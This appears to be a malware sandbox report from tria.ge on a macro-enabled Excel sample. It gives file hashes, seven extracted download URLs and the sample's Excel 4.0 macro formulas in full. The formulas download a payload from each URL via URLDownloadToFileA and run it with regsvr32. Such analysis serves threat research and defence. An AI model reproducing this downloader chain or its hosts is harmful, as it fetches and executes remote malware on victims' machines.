Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Behavioral task
behavioral1
Sample
ed826dda375692e48f8e9bc2f10134b014405670f5e164d4fba55e05f7da0769.xlsm
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
ed826dda375692e48f8e9bc2f10134b014405670f5e164d4fba55e05f7da0769.xlsm
Resource
win10v2004-20241007-en
General
-
Target
ed826dda375692e48f8e9bc2f10134b014405670f5e164d4fba55e05f7da0769
-
Size
35KB
-
MD5
80f6b693273e65bb16e62c193c3e167d
-
SHA1
e5805a6c8d053b71079de2d462d5429338065452
-
SHA256
ed826dda375692e48f8e9bc2f10134b014405670f5e164d4fba55e05f7da0769
-
SHA512
68aecc0e42f5f128b5f33c3e8c2f59b2e1355045848392cd93adaa3b99c0f0d6d00f27843314ee1c921a238b6f00a33982eb7e5d3231cf96b2e9c6c86e215228
-
SSDEEP
768:a0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:a0t+gEUOZZ1ZYpoQ/pMA39
Malware Config
Extracted
https://www.rivabodrumresort.com/eski_site/HozRXt/
https://www.iinil.com/phpmyadmin/oWnF6m7JoN/
https://britainsolicitors.com/wp-admin/OshgKKcJ3I/
https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/
https://britspizzeria.com/cgi-bin/WRo/
https://trainingeighteen.co.zw/wp-content/f1Q3/
https://thiendoan.com/venmo/Mp1r/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.rivabodrumresort.com/eski_site/HozRXt/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.iinil.com/phpmyadmin/oWnF6m7JoN/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britainsolicitors.com/wp-admin/OshgKKcJ3I/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britspizzeria.com/cgi-bin/WRo/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://trainingeighteen.co.zw/wp-content/f1Q3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thiendoan.com/venmo/Mp1r/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Signatures
Files
-
ed826dda375692e48f8e9bc2f10134b014405670f5e164d4fba55e05f7da0769.xlsm office2007